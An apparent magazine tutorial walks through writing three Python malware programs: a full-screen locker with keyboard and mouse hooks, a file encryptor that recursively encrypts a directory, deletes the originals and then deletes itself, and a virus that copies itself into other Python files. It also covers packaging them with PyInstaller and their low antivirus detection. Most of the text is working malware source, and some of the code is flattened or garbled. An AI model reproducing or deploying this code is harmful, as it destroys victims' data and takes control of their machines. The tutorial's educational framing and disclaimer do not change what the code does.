Python is commonly used to create backdoors enabling the attacker to upload and execute arbitrary code on the infected machine. For instance, in 2017, Dr.Web engineers discovered Python.BackDoor.33; on May 8, 2019, Mac.BackDoor.Siggen.20 was detected. Another trojan, RAT Python, steals user data from infected devices and uses Telegram as a data transmission channel.
Today, I will create three demonstration programs: a locker blocking access to the computer until the user enters the correct password; an encryptor parsing directories and encrypting all files stored there; and a virus spreading its code and infecting other Python programs.
The remote administration of infected computers is beyond the scope of this article, but you can find some basic information on this topic in an article entitled “Python reverse shell. How to boost your networking capacity with Python scripts“.
Even though my programs are not hyper-advanced from the technical perspective, they still can be dangerous under certain circumstances. Accordingly, I officially warn you that intrusions into other people’s computers and destruction of information are criminally punishable offences. Run these programs only on your own PC and exercise caution; otherwise you may accidentally encrypt its disk.
This article is intended for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication.
Setting up the environment
First of all, I need the third version of Python. The installation process is described in detail in a free book called “A Byte of Python” that provides answers to numerous Python-related questions.
Then I install several additional modules required for my purposes:
pip install pyAesCryptpip install pyautoguipip install tkinter
The preparations are finished, time to start coding.
The purpose of my locker is to create a full-screen window and prevent the user from closing it.
import pyautoguifrom tkinter import Tk, Entry, Labelfrom pyautogu соi import click, moveTofrom time import sleep
Writing the program:
# Create windowroot = Tk()# Disable protection of the upper left corner of the screenpyautogui.FAILSAFE = False# Get window width and heightwidth = root.winfo_screenwidth()height = root.winfo_screenheight()# Set the window titleroot.title('From "Xakep" with love')# Make the window full-screenroot.attributes("-fullscreen", True)# Create entry field, set its size and locationentry = Entry(root, font=1)entry.place(width=150, height=50, x=width/2-75, y=height/2-25)# Create text captions and set their locationlabel0 = Label(root, text="╚(•⌂•)╝ Locker by Xakep (╯°□°）╯︵ ┻━┻", font=1)label0.grid(row=0, column=0)label1 = Label(root, text="Enter password and press Ctrl + C", font='Arial 20')label1.place(x=width/2-75-130, y=height/2-25-100)# Enable continuous updates of the window and pause onroot.update()sleep(0.2)# Click in the center of the windowclick(width/2, height/2)# Reset the key to zerok = False# Continuously check if the right key is entered# If the right key is entered, call the hooligan functionwhile not k:on_closing()
pyautogui. relates to protection, which is activated when the cursor moves to the upper left corner of the screen. If protection is activated, the program closes. I don’t need this and therefore disable this function.
To make my locker operating on any monitor with any resolution, I read the screen width and height and use a simple formula to calculate where to move the cursor, make a click, etc. In this particular case, the cursor is moved in the center of the screen, i.e. the width and height are divided by two. The pause (
sleep) is added to allow the user to enter the password.
The current version of the program does not block the text input – but I can add this feature, thus, making the user totally helpless. But first, I have to configure the program so that it closes after the entry of the correct password. For your information, the code blocking the keyboard and mouse is as follows:
import pythoncom, pyHookhm = pyHook.HookManager()hm.MouseAll = uMadhm.KeyAll = uMadhm.HookMouse()hm.HookKeyboard()pythoncom.PumpMessages()
Creating a function for the key entry:
def callback(event):global k, entryif entry.get() == "xakep":k = True
The idea is simple: if the key doesn’t match the one I have specified, the program continues running. If the password is correct, the program stops.
The last function required for the malicious window:
def on_closing():# Click in the center of the screenclick(width/2, height/2)# Move the cursor to the center of the screenmoveTo(width/2, height/2)# Enable full-screen moderoot.attributes("-fullscreen", True)# If the user attempts to close the window from the Task Manager, call on_closingroot.protocol("WM_DELETE_WINDOW", on_closing)# Enable continuous updating of the windowroot.update()# Add a key combination that closes the programroot.bind('<Control-KeyPress-c>', callback)
The handmade locker is ready!
To create this virus, I will need just one third-party library: pyAesCrypt. The idea is to encrypt all files in a given directory and all its subdirectories. This important limitation allows not to break the OS. I am going to create two files: an encryptor and a decryptor. After doing their job, these executable files will be self-deleted.
First, I request the path to the target folder and encryption/decryption password.
direct = input("Specify the target directory: ")password = input("Enter the password: ")
Then I generate encryption and decryption scripts:
with open("Crypt.py", "w") as crypt:crypt.write('''program code''')
Time to create files to be used as templates. For the encryptor, I will need two standard libraries:
import osimport sys
Writing the encryption function (in accordance with the pyAesCrypt manual):
def crypt(file):import pyAesCryptprint('-' * 80)# Set password and buffer sizepassword = "'''+str(password)+'''"buffer_size = 512*1024# Call encryption functionpyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)print("[Encrypt] '"+str(file)+".crp'")# Remove the original fileos.remove(file)
Instead of str(password), the script generator will insert the password.
Important: a buffer is used to encrypt and decrypt files; this allows to circumvent the file size limitation (or at least significantly reduce this limitation). The call
os. is required to delete the original file because the program copies it and encrypts the copy. Alternatively, it is possible to instruct the program to copy the files instead of deleting them.
The function that parses folders is pretty simple.
def walk(dir):# Parse all subfolders in the given folderfor name in os.listdir(dir):path = os.path.join(dir, name)# If this is a file, encrypt itif os.path.isfile(path):crypt(path)# If this is a folder, repeat recursivelyelse:walk(path)
In the end, I add two more strings. The first one launches the parsing; the second one self-destructs the program.
The required path will be inserted here.
The entire code is shown below:
import osimport sysdef crypt(file):import pyAesCryptprint('-' * 80)password = "'"+str(password)+"'"buffer_size = 512*1024pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)print("[Encrypt] '"+str(file)+".crp'")os.remove(file)def walk(dir):for name in os.listdir(dir):path = os.path.join(dir, name)if os.path.isfile(path):crypt(path)else:walk(path)walk("'''+str(direct)+'''")print('-' * 80)os.remove(str(sys.argv))
Then I create the ‘mirror’ file. In the encryptor, I used the word “encrypt”; accordingly, in the decryptor, I will write “decrypt”, and its final version looks as follows:
import osimport sys# Decryption functiondef decrypt(file):import pyAesCryptprint('-' * 80)password = "'''+str(password)+'''"buffer_size = 512 * 1024pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)), password, buffer_size)print("[Decrypt] '" + str(os.path.splitext(file)) + "'")os.remove(file)# Parsingdef walk(dir):for name in os.listdir(dir):path = os.path.join(dir, name)if os.path.isfile(path):try:decrypt(path)except Error:passelse:walk(path)walk("'''+str(direct)+'''")print('-' * 80)os.remove(str(sys.argv))
The program consists of 29 strings, and only three of them are used for decryption. In case some of the files are damaged and an error occurs, I use
try...: if a file cannot be decrypted, the program skips it.
I am going to create a program that will infect other programs having a certain extension. Unlike a real viruse able to infect any executable file, my script will attack only programs written in Python.
This time, I won’t need any third-party libraries – only sys and os modules. Importing them.
import sysimport os
I have to create three functions: notification, parser, and infection.
The function that notifies of the attack:
I call it to make sure that the program works:
The directory parsing mechanism in my virus is similar to that used in the encryptor.
def walk(dir):for name in os.listdir(dir):path = os.path.join(dir, name)# If a file is found, check its extensionif os.path.isfile(path):# If the file extension is py, call virusif (os.path.splitext(path) == ".py"):virus(path)else:passelse:# If this is a folder, go into itwalk(path)
In theory, I could use the same mechanism to infect files written in other languages by adding pieces of code written in these languages to files having respective extensions. In Unix-like systems, scripts in Bash, Ruby, Perl, etc. can be substituted by Python scripts by changing the path to the interpreter in the first string.
The virus will infect files ‘downward’ the folder where it is located (I call
os. to get the path).
In the beginning and in the end of the file, I add the following comments:
# START ## STOP #
Their purpose will be explained below.
Time to create a self-replication function.
def virus(python):begin = "# START #\n"end = "# STOP #\n"# Read the attacked file, name it "copy"with open(sys.argv, "r") as copy:# Create flagk = 0# Create a variable for the virus code and add an empty stringvirus_code = "\n"# Parse the attacked file line-by-linefor line in copy:# If the beginning marker is found, set flagif line == begin:k = 1# Add marker to the infected codevirus_code += begin# If passed through the beginning but hasn't reached the end yet, copy the stringelif k == 1 and line != end:virus_code += line# If reached the end, add final marker and exit the cycleelif line == end:virus_code += endbreakelse:pass# Read the infected file againwith open(python, "r") as file:# Create a variable for the original codeoriginal_code = ""# Copy infected code line-by-linefor line in file:original_code += line# If the virus beginning marker found, stop and set the vir flagif line == begin:vir = Truebreak# If no marker found, remove the vir flagelse:vir = False# If there is no vir flag, write the virus code and original code to the fileif not vir:with open(python, "w") as paste:paste.write(virus_code + "\n\n" + original_code)else:pass
Now you can see the purpose of the START and STOP comments: they mark the beginning and end of the virus code. First, the program reads the file and parses it line-by-line. When it finds a start mark, it sets the flag. An empty line is added; so that the virus begins with a new line in the original code. Then the program reads the file for the second time and writes the original code line-by-line. And finally, the program writes the virus, makes two indents, and writes the original code. It is also possible to do this in a funny way, for instance, modify all lines…
Creating executable file
How to run a virus written in a script language on the target PC? This can be done in two ways: (1) make sure that the required interpreter is installed on the victim’s computer; or (2) pack the virus and all required components into a single executable file. I implement the second variant using the PyInstaller utility.
pip install PyInstaller
Entering the command:
PyInstaller "file_name.py" --onefile --noconsole
After a while, plenty of files appear in the folder containing the program. But I only need the
. files stored in the
dist directory; the rest of the files can be deleted.
Since the appearance of malicious programs written in Python, antiviruses started reacting very nervously to the presence of PyInstaller – even if it’s attached to an innocent program.
I decided to check my creations on VirusTotal; below are the reports:
- the file Crypt.exe was detected by 12 antiviruses out of the 72;
- the file Locker.exe, by 10 antiviruses out of the 72; and
- the file Virus.exe, by 23 antiviruses out of the 72.
The file Virus.exe showed the worst result: apparently, some antiviruses noticed its self-replication function or read its name. But still, the majority of antivirus programs did not react to any of my files.
Three malicious programs have been written in a script language and packed with PyInstaller.
Of course, my virus is not that dreadful, while the locker and encryptor must be somehow delivered on the target machine. None of the programs communicate with the C&C server, and I did not obfuscate their code in any way – so, there is plenty of room for improvement.
Still, after checking my programs by modern antiviruses, I must admit that their detection level is surprisingly low. Therefore, any handmade malware may become a severe threat: no matter what antivirus software is installed on your PC, you must never run unknown programs downloaded from the Internet.
- Full versions of the original files are available here